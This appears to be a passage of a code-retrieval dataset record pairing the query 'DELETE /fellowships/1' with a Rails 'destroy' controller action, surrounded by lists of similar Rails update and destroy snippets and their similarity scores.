else\n @person.update person_params\n render json: @person\n end\n end", "def update\n respond_to do |format|\n @family.slug=nil\n if @family.update(family_params)\n format.html { redirect_to @family, notice: 'La familia fue actualizada exitosamente.' }\n format.json { render :show, status: :ok, location: @family }\n else\n format.html { render :edit }\n format.json { render json: @family.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @pending_friend_request.update(pending_friend_request_params)\n format.html { redirect_to @pending_friend_request, notice: 'Pending friend request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @pending_friend_request.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @golf.update(golf_params)\n format.html { redirect_to @golf, notice: 'Golf was successfully updated.' }\n format.json { render :show, status: :ok, location: @golf }\n else\n format.html { render :edit }\n format.json { render json: @golf.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @society_member_ship.update(society_member_ship_params)\n format.html { redirect_to @society_member_ship, notice: 'Society member ship was successfully updated.' }\n format.json { render :show, status: :ok, location: @society_member_ship }\n else\n format.html { render :edit }\n format.json { render json: @society_member_ship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @favorite_flyer = FavoriteFlyer.find(params[:id])\n\n respond_to do |format|\n if @favorite_flyer.update_attributes(params[:favorite_flyer])\n format.html { redirect_to @favorite_flyer, notice: 'Favorite flyer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @favorite_flyer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @fishing_method = FishingMethod.find(params[:id])\n\n respond_to do |format|\n if @fishing_method.update_attributes(params[:fishing_method])\n format.html { redirect_to @fishing_method, notice: 'Fishing method was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fishing_method.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # go to params hash and get the id\n the_id = params['id']\n\n # grab a single family based on the id\n family = Family.find_by(id: the_id)\n\n # update it\n if family.update!(\n first_name: params[:first_name],\n last_name: params[:last_name],\n email: params[:email],\n password: params[:password],\n phone_number: params[:phone_number],\n street_address: params[:street_address],\n secondary_address: params[:secondary_address],\n city: params[:city],\n state: params[:state],\n zip_code: params[:zip_code],\n photo: params[:photo])\n render json: family.as_json\n else\n render json: {errors: family.errors.full_messages}\n end\n end", "def update\n respond_to do |format|\n if @player_ship.update(player_ship_params)\n format.html { redirect_to @player_ship, notice: 'Player ship was successfully updated.' }\n format.json { render :show, status: :ok, location: @player_ship }\n else\n format.html { render :edit }\n format.json { render json: @player_ship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @friendship.update_attributes(:accept => params[:accept])\n format.html { redirect_to @friendship, notice: 'Friendship is successfully updated.' }\n format.json { render :show, status: :ok, location: @friendship }\n else\n format.html { render :edit }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @guardianship = Guardianship.find(params[:id])\n\n respond_to do |format|\n if @guardianship.update_attributes(params[:guardianship])\n format.html { redirect_to @guardianship, notice: 'Guardianship was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @guardianship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @cohort_fellow.update(cohort_fellow_params)\n format.html { redirect_to admin_cohort_fellow_path(@cohort_fellow), notice: 'Cohort fellow was successfully updated.' }\n format.json { render :show, status: :ok, location: @cohort_fellow }\n else\n format.html { render :edit }\n format.json { render json: @cohort_fellow.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @fellowship = Fellowship.new(fellowship_params)\n @fellowship.users << current_user\n\n # Capitalize fellowship name\n @fellowship.fellowship_name = @fellowship.fellowship_name.titleize\n\n respond_to do |format|\n if @fellowship.save\n format.html { redirect_to @fellowship, notice: 'Fellowship was successfully created.' }\n format.json { render :show, status: :created, location: @fellowship }\n else\n format.html { render :new }\n format.json { render json: @fellowship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @foster_parent.update(foster_parent_params)\n format.html { redirect_to @foster_parent, notice: 'Foster parent was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @foster_parent.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n render json: User.update(params[\"id\"], params[\"user\"])\n end", "def fellowship_params\n params.require(:fellowship).permit(:fellowship_name, :user_id, :fellowship_description)\n end", "def update\n respond_to do |format|\n if @family.update(family_params)\n format.html { redirect_to @family, notice: 'Family was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @family.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @hackathon.update(hackathon_params)\n format.html { redirect_to @hackathon, notice: 'Hackathon was successfully updated.' }\n format.json { render :show, status: :ok, location: @hackathon }\n else\n format.html { render :edit }\n format.json { render json: @hackathon.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @hackathon.update(hackathon_params)\n format.html { redirect_to @hackathon, notice: 'Hackathon was successfully updated.' }\n format.json { render :show, status: :ok, location: @hackathon }\n else\n format.html { render :edit }\n format.json { render json: @hackathon.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @fish_poly.update(fish_poly_params)\n format.html { redirect_to @fish_poly, notice: 'Fish poly was successfully updated.' }\n format.json { render :show, status: :ok, location: @fish_poly }\n else\n format.html { render :edit }\n format.json { render json: @fish_poly.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # no spoofing of acceptance\n params[:friendship].delete('accepted_at') if params[:friendship][:accepted_at]\n \n respond_to do |format|\n if @friendship.update_attributes(params[:friendship])\n flash[:notice] = 'Friendship was successfully updated.'\n format.html { redirect_to user_friendship_path(@friendship.user_id, @friendship) }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end", "def update\n respond_to do |format|\n if @township.update(township_params)\n format.html { redirect_to @township, notice: 'Township was successfully updated.' }\n format.json { render :show, status: :ok, location: @township }\n else\n format.html { render :edit }\n format.json { render json: @township.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @my_girlfriend.update(my_girlfriend_params)\n format.html { redirect_to @my_girlfriend, notice: 'My girlfriend was successfully updated.' }\n format.json { render :show, status: :ok, location: @my_girlfriend }\n else\n format.html { render :edit }\n format.json { render json: @my_girlfriend.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @before_intership = BeforeIntership.find(params[:id])\n\n respond_to do |format|\n if @before_intership.update_attributes(params[:before_intership])\n format.html { redirect_to @before_intership, notice: 'Before intership was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @before_intership.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if request.content_type == \"application/json\"\n # .update is like a \"update people set ...\" in sql\n if @person.update(person_params)\n render json: @person\n else\n render json: @person.errors, status: :not_found\n end\n else\n render status: :bad_request\n end\n end", "def update\n @book_usership = BookUsership.find(params[:id])\n\n respond_to do |format|\n if @book_usership.update_attributes(params[:book_usership])\n format.html { redirect_to @book_usership, notice: 'Book usership was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book_usership.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @steamshipline.update(steamshipline_params)\n format.html { redirect_to @steamshipline, notice: 'Steamshipline was successfully updated.' }\n format.json { render :show, status: :ok, location: @steamshipline }\n else\n format.html { render :edit }\n format.json { render json: @steamshipline.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @ship_fitting.update(ship_fitting_params)\n format.html { redirect_to @ship_fitting, notice: 'Ship fitting was successfully updated.' }\n format.json { render :show, status: :ok, location: @ship_fitting }\n else\n format.html { render :edit }\n format.json { render json: @ship_fitting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @nightclub.update(nightclub_params)\n format.html { redirect_to @nightclub, notice: 'Nightclub was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @nightclub.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @family_relationship.update(family_relationship_params)\n format.html { redirect_to @family_relationship, notice: 'Family relationship was successfully updated.' }\n format.json { render :show, status: :ok, location: @family_relationship }\n else\n format.html { render :edit }\n format.json { render json: @family_relationship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @student_whylearnship = StudentWhylearnship.find(params[:id])\n\n respond_to do |format|\n if @student_whylearnship.update_attributes(params[:student_whylearnship])\n format.html { redirect_to(@student_whylearnship, :notice => 'Student whylearnship was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student_whylearnship.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @flat_happening = FlatHappening.find(params[:id])\n\n if @flat_happening.update_attributes(params[:flat_happening])\n head :no_content\n else\n render json: @flat_happening.errors, status: :unprocessable_entity\n end\n end", "def update\n @family_crest = FamilyCrest.find(params[:id])\n\n respond_to do |format|\n if @family_crest.update_attributes(params[:family_crest])\n format.html { redirect_to @family_crest, notice: 'Family crest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @family_crest.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @orphan_sponsorship.update(orphan_sponsorship_params)\n format.html { redirect_to @orphan_sponsorship, notice: 'Orphan sponsorship was successfully updated.' }\n format.json { render :show, status: :ok, location: @orphan_sponsorship }\n else\n format.html { render :edit }\n format.json { render json: @orphan_sponsorship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n params[:family][:name] = params[:family][:name].split(\" \").map{|a| a.capitalize}.join(\" \")\n if @family.update(family_params)\n format.json { render :show, status: :ok, location: @family }\n format.html { redirect_to @family, notice: 'Family was successfully updated.' }\n else\n format.json { render json: @family.errors, status: :unprocessable_entity }\n format.html { render :edit }\n end\n end\n end", "def update\n @shichoson = Shichoson.find(params[:id])\n\n respond_to do |format|\n if @shichoson.update_attributes(params[:shichoson])\n format.html { redirect_to @shichoson, notice: 'Shichoson was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shichoson.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @discipleship.update(discipleship_params)\n format.html { redirect_to @discipleship, notice: 'Discipleship was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @discipleship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @freeboard.update(freeboard_params)\n format.html { redirect_to @freeboard, notice: 'Freeboard was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @freeboard.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @fred = Fred.find(params[:id])\n\n respond_to do |format|\n if @fred.update_attributes(params[:fred])\n format.html { redirect_to @fred, notice: 'Fred was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fred.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @lunch.update(lunch_params)\n format.html { redirect_to @lunch, notice: 'Lunch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @lunch.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @firend_relationship.update(firend_relationship_params)\n puts \"update\"\n format.html { redirect_to user_firend_relationship_path, notice: 'Firend relationship was successfully updated.' }\n format.json { render :show, status: :ok, location: @firend_relationship }\n else\n puts \"not update\"\n format.html { redirect_to edit_user_firend_relationship_path }\n format.json { render json: @firend_relationship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bracket_golfer.update(bracket_golfer_params)\n format.html { redirect_to @bracket_golfer, notice: 'Bracket golfer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bracket_golfer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def update\n @father = Father.find(params[:id])\n\n respond_to do |format|\n if @father.update_attributes(params[:father])\n format.html { redirect_to @father, notice: 'Father was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @father.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @animal.update(animal_params)\n respond_with(@shelter)\n end", "def update\n @family = Family.find(params[:id])\n @user = User.find_by_email(session[:user_email])\n if @user && @user.identity == 2\n\[email protected]_by = nil\n end\n respond_to do |format|\n if @family.update_attributes(params[:family])\n format.html { redirect_to session[:redirect_path], notice: 'Family was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @family.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_cheer_up\n user = User.find(params[:id])\n updating_cheer_up = CheerUp.find(params[:cheer_up_id])\n updating_cheer_up.update(cheer_up_params)\n render json:\n {\n status: 200,\n user: user,\n cheer_ups: user.cheer_ups,\n updated_cheer_up: updating_cheer_up\n } # end render json\n end", "def update\n respond_to do |format|\n if @shiping.update(shiping_params)\n format.html { redirect_to @shiping, notice: 'Shiping was successfully updated.' }\n format.json { render :show, status: :ok, location: @shiping }\n else\n format.html { render :edit }\n format.json { render json: @shiping.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n params[:book_shelf]['user'] = User.where(:id => params[:book_shelf]['user']).first\n params[:book_shelf]['book'] = Book.where(:id => params[:book_shelf]['book']).first\n @book_shelf = BookShelf.find(params[:id])\n respond_to do |format|\n if @book_shelf.update_attributes(params[:book_shelf])\n format.html { redirect_to @book_shelf, notice: 'Book shelf was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book_shelf.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @friend = Friend.find(params[:id])\n @friend.update_attributes(params[:friend])\n respond_with(@friend)\n end", "def update\n respond_to do |format|\n if @wing.update(wing_params)\n @wing.floors.each { |f| f.touch }\n format.html { redirect_to @wing, notice: t('.update_ok', item: @wing.name) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @wing.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @sheep.update(sheep_params)\n format.html { redirect_to @sheep, notice: 'Sau ble oppdatert.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sheep.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @kinship.update(kinship_params)\n format.html { redirect_to @kinship, notice: 'Kinship was successfully updated.' }\n format.json { render :show, status: :ok, location: @kinship }\n else\n format.html { render :edit }\n format.json { render json: @kinship.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end", "def update\n respond_to do |format|\n if @fishery.update(fishery_params)\n format.html { redirect_to country_fishery_path(@country), notice: \"Fishery was successfully updated.\" }\n format.json { render :show, status: :ok, location: @fishery }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @fishery.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.6577438", "0.6572786", "0.63750905", "0.63712245", "0.6364273", "0.6355806", "0.6355806", "0.6349399", "0.63353676", "0.6317811", "0.6317811", "0.62416816", "0.6156808", "0.612449", "0.6119615", "0.611216", "0.61070263", "0.61058515", "0.6076143", "0.605085", "0.60452294", "0.60355824", "0.6034501", "0.6033415", "0.6019671", "0.6015287", "0.59910077", "0.59902495", "0.5983475", "0.5979737", "0.5947894", "0.5941266", "0.59294593", "0.5917712", "0.59143114", "0.59143114", "0.58998334", "0.5897064", "0.58844715", "0.58838266", "0.5874407", "0.58709794", "0.58692014", "0.58675873", "0.58400756", "0.582869", "0.5828178", "0.5827121", "0.5813346", "0.58100027", "0.5805764", "0.5804501", "0.57987916", "0.57958686", "0.5792816", "0.5789445", "0.5779212", "0.57778925", "0.5775992", "0.577445", "0.57719624", "0.5771313", "0.5766505", "0.5765569", "0.5765569", "0.57654846", "0.5761924", "0.57590294", "0.57564074", "0.5754552", "0.57513976", "0.57501125", "0.5747651", "0.57419634", "0.57393456", "0.5737936", "0.57361937", "0.57314813", "0.5731393", "0.5722051", "0.5720958", "0.57195175", "0.57170236", "0.57074785", "0.5703795", "0.5695816", "0.56952184", "0.5694277", "0.5678043", "0.566722", "0.56645584", "0.5655452", "0.5655325", "0.5645992", "0.56442094", "0.5644156", "0.56418747", "0.56388885", "0.5630392", "0.5628833" ]
0.7349757
0
DELETE /fellowships/1 DELETE /fellowships/1.json
def destroy @fellowship.destroy respond_to do |format| format.html { redirect_to fellowships_url, notice: 'Fellowship was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @friendship = @user.friendships.find(params[:id])\n @friendship.destroy\n\n respond_to do |format|\n format.html { redirect_to game_user_friendships_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @clientship = current_user.clientships.find(params[:id])\n @clientship.destroy\n\n respond_to do |format|\n format.html { redirect_to clientships_url }\n format.json { head :ok }\n end\n end", "def destroy\n @friendship.destroy\n respond_to do |format|\n format.html { redirect_to friendships_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @friendship = Friendship.find(params[:id])\n @friendship.destroy\n\n respond_to do |format|\n format.html { redirect_to friendships_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @friendship.destroy\n respond_to do |format|\n format.html { redirect_to friendships_url, notice: \"Friens request denied\" }\n format.json { head :no_content }\n end\n end", "def destroy\n logger.info(\"Delete friend_id 33333\")\n logger.info(\"Delete friend_id #{params[:user_id]}\")\n @friendship.destroy\n if request.format.json?\n render text: \"Delete\"\n else\n @friendship.destroy\n redirect_to friendships_url \n end \n end", "def destroy\n @discipleship.destroy\n respond_to do |format|\n format.html { redirect_to discipleships_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @internship = Internship.find(params[:id])\n @internship.destroy\n\n respond_to do |format|\n format.html { redirect_to internships_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @internship = Internship.find(params[:id])\n @internship.destroy\n\n respond_to do |format|\n format.html { redirect_to internships_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @internship = Internship.find(params[:id])\n @internship.destroy\n\n respond_to do |format|\n format.html { redirect_to internships_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @championship = Championship.find(params[:id])\n @championship.destroy\n\n respond_to do |format|\n format.html { redirect_to championships_url }\n format.json { head :no_content }\n end\n end", "def delete\n render json: UserBoards.delete(params[\"id\"])\n end", "def destroy\n puts 'callin'\n friendship = Friendship.find(params[:id])\n user = friendship.user\n friend = friendship.friend\n reciprocal_friendship = Friendship.find_by(user: friend, friend: user)\n friendship.destroy\n reciprocal_friendship.destroy\n respond_to do |format|\n # format.html do\n # { redirect_back(fallback_location: root_path, notice: \"Friendship with #{friend.name} ended.\") }\n format.json do\n render json: {\n status: 'deleted',\n notice: \"Friendship with #{friend.name} ended.\"\n }\n end\n end\n end", "def destroy\n @followship.destroy\n respond_to do |format|\n format.html { redirect_to followships_url, notice: 'Followship was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n # prevent user from deleting a friendship which cannot be found.\n if !(@friendship)\n render json: {error: \"Friendship not found\"}, status: 404\n else\n @friendship.destroy\n render status: 204\n end\n end", "def destroy\n @internship = Internship.find(params[:id])\n @internship.destroy\n\n respond_to do |format|\n format.html { redirect_to(internships_url) }\n format.json { head :ok }\n end\n end", "def destroy\n @followship.destroy\n respond_to do |format|\n format.html { redirect_to followships_url, notice: 'Followship was successfully unfollowed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @request_friendship.destroy\n respond_to do |format|\n format.html { redirect_to request_friendships_url, notice: 'La solicitud de amistad fue eliminada con éxito.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @friendship = current_user.friendships.find_by_id(params[:id])\n @friendship = current_user.inverse_friendships.find_by_id(params[:id]) unless @friendship.present? \n @friendship.destroy\n respond_to do |format|\n format.html { redirect_to user_friend_url(current_user), notice: 'Friendship was successfully Removed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n other = Friendship.find_by(user: @friendship.friend, friend: @friendship.user)\n other.destroy unless other.nil?\n @friendship.destroy\n respond_to do |format|\n format.html { redirect_to current_user, notice: 'Friendship was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @guardianship = Guardianship.find(params[:id])\n @guardianship.destroy\n\n respond_to do |format|\n format.html { redirect_to guardianships_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @monitorship = Monitorship.find(params[:id])\n @monitorship.destroy\n\n respond_to do |format|\n format.html { redirect_to monitorships_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ab_reltionship.destroy\n respond_to do |format|\n format.html { redirect_to ab_reltionships_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @nightclub.destroy\n respond_to do |format|\n format.html { redirect_to nightclubs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @shipfleet.destroy\n respond_to do |format|\n format.html { redirect_to shipfleets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n second_friendship = Friendship.find_by(:user1_id => @friendship.user2_id)\n @friendship.destroy\n second_friendship.destroy if second_friendship\n \n respond_to do |format|\n format.html { redirect_to back_page, flash: { :success => 'Friendship was deleted.' } }\n format.json { head :no_content }\n end\n end", "def destroy\n @society_member_ship.destroy\n respond_to do |format|\n format.html { redirect_to society_member_ships_url, notice: 'Society member ship was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @township.destroy\n respond_to do |format|\n format.html { redirect_to townships_url, notice: 'Township was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @friendship = Friendship.find(params[:id])\n @friendship_mutual = Friendship.where(:user_id => @friendship.friend_id).first\n @friendship.destroy \n @friendship_mutual.destroy\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @friendship = Friendship.find(params[:id])\n @friendship.destroy\n\n respond_to do |format|\n format.html { redirect_to(friendships_url) }\n format.xml { head :ok }\n end\n end", "def delete_friendship\n user = User.find(params[:user_id])\n @friendship = user.friendships.where(friend_id: params[:friend_id]).first ||\n user.inverse_friendships.where(friend_id: params[:user_id]).first\n if @friendship.present? # Can't call exists on a single record\n @friendship.delete\n render status: :ok, json: {\n message: 'Successfully deleted friendship'\n }.to_json\n else\n render status: :bad_request, json: {\n message: 'No friendship to delete'\n }\n end\n end", "def destroy\n @friendship.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Friendship was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @friendship = @current_user.friendships.find_by(friendship_params)\n @inverse_friendship = @current_user.inverse_friendships.find_by(@friendship.friend_id)\n @friendship.destroy\n @inverse_friendship.destroy\n\n head :no_content\n end", "def destroy\n @player_ship.destroy\n respond_to do |format|\n format.html { redirect_to player_ships_url, notice: 'Player ship was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @spaceship = Spaceship.find(params[:id])\n @spaceship.destroy\n\n respond_to do |format|\n format.html { redirect_to spaceships_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @friendship = current_user.friendships.find(params[:id])\n @friendship.destroy\n flash[:notice] = \"Removed friendship.\"\n redirect_to current_user\n end", "def destroy\n ship = Sailing.joins(:travelling_parties => :party_registers).find_by(\"party_registers.id\" => params[:id]).cruise_ship_name\n @party_register.destroy\n respond_to do |format|\n format.html { redirect_to user_dashboard_path, notice: \"You have left #{ship} sailing\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @neighbourhood.destroy\n respond_to do |format|\n format.html { redirect_to neighbourhoods_url, notice: 'Neighbourhood was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @internships_user = InternshipsUser.find(params[:id])\n @internships_user.destroy\n\n respond_to do |format|\n format.html { redirect_to internships_users_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ship = Ship.find(params[:id])\n @ship.destroy\n\n respond_to do |format|\n format.html { redirect_to ships_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ship = Ship.find(params[:id])\n @ship.destroy\n\n respond_to do |format|\n format.html { redirect_to ships_url }\n format.json { head :ok }\n end\n end", "def destroy\n @nightclub = Nightclub.find(params[:id])\n @nightclub.destroy\n\n respond_to do |format|\n format.html { redirect_to nightclubs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n if @friend\n @friend.destroy\n else\n @friendship.destroy\n end\n respond_to do |format|\n format.html { redirect_to friendships_url, notice: 'Friendship was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @club_path = ClubPath.find(params[:id])\n @club_path.destroy\n\n respond_to do |format|\n format.html { redirect_to club_paths_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @manifestship.destroy\n respond_to do |format|\n format.html { redirect_to manifestships_url, notice: 'Manifestship was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @fostered.destroy\n respond_to do |format|\n format.html { redirect_to fostereds_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @fleet_ship.destroy\n respond_to do |format|\n format.html { redirect_to fleet_ships_url, notice: 'Fleet ship was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @championship.destroy\n\n head :no_content\n end", "def destroy\n @steamshipline.destroy\n respond_to do |format|\n format.html { redirect_to steamshiplines_url, notice: 'Steamshipline was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n relationship = Relationships.find(params[:id])\n relationship.destroy\n head 204\n end", "def destroy\n @hood.destroy\n respond_to do |format|\n format.html { redirect_to hoods_url }\n format.json { head :no_content }\n end\n end", "def destroy\n #Deletes the friendship (both ways)\n @user=current_user\n friend=User.find_by_email(params[:email])\n if(friend)\n friendCheck=Friendship.find_by_user_id_and_friend_id(@user.id, friend.id)\n if(friendCheck)\n @friendship = @user.friendships.find_by_friend_id(friend.id)\n @friendship.destroy\n @friendship = friend.friendships.find_by_friend_id(@user.id)\n @friendship.destroy\n\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { render json: {:deleted => 'true'}}\n end\n else\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { render json: {:deleted => 'false'}}\n end\n end\n else\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { render json: {:deleted => 'false'}}\n end\n end\n end", "def destroy\n raise\n @friendship = Friendship.all.sample\n @friendship.destroy\n respond_to do |format|\n format.html { redirect_to friendships_path, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @ship = Ship.find(params[:id])\n @ship.destroy\n\n respond_to do |format|\n format.html { redirect_to(ships_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ship = Ship.find(params[:id])\n @ship.destroy\n\n respond_to do |format|\n format.html { redirect_to(ships_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @mentorship = Mentorship.find(params[:id])\n @mentorship.destroy\n\n respond_to do |format|\n format.html { redirect_to mentorships_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @roof = Roof.find(params[:roof_id])\n @status = @roof.statuses.find(params[:id])\n @status.destroy\n\n respond_to do |format|\n format.html { redirect_to statuseses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @fridge = Fridge.find(params[:id])\n @fridge.destroy\n\n respond_to do |format|\n format.html { redirect_to fridges_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @neighborhood = Neighborhood.find(params[:id])\n @neighborhood.destroy\n\n respond_to do |format|\n format.html { redirect_to neighborhoods_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @neighborhood = Neighborhood.find(params[:id])\n @neighborhood.destroy\n\n respond_to do |format|\n format.html { redirect_to neighborhoods_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @firend_relationship.destroy\n respond_to do |format|\n format.html { redirect_to user_firend_relationships_url, notice: 'Firend relationship was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @district_chief = DistrictChief.find(params[:id])\n @district_chief.destroy\n\n respond_to do |format|\n format.html { redirect_to district_chiefs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @friendship = @current_user.friendships.find_by_id(params[:id])\n if @friendship.destroy\n flash[:success] = \"This relationship has been deleted\"\n else\n flash[:error] = \"Delete failed, if you really want, please try again\"\n end\n redirect_to(individual_path(@current_user))\n end", "def destroy\n @friendship = current_user.friendships.find(params[:id])\n @friendship.destroy\n flash[:notice] = \"Removed friendship.\"\n redirect_to posts_path\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\r\n @followship.destroy\r\n respond_to do |format|\r\n format.html { redirect_to :back, notice: 'Followship was successfully destroyed.' }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @orphan_sponsorship.destroy\n respond_to do |format|\n format.html { redirect_to orphan_sponsorships_url, notice: 'Orphan sponsorship was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @golfer = Golfer.find(params[:id])\n @golfer.destroy\n\n respond_to do |format|\n format.html { redirect_to golfers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @student_whylearnship = StudentWhylearnship.find(params[:id])\n @student_whylearnship.destroy\n\n respond_to do |format|\n format.html { redirect_to(student_whylearnships_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @friendship = 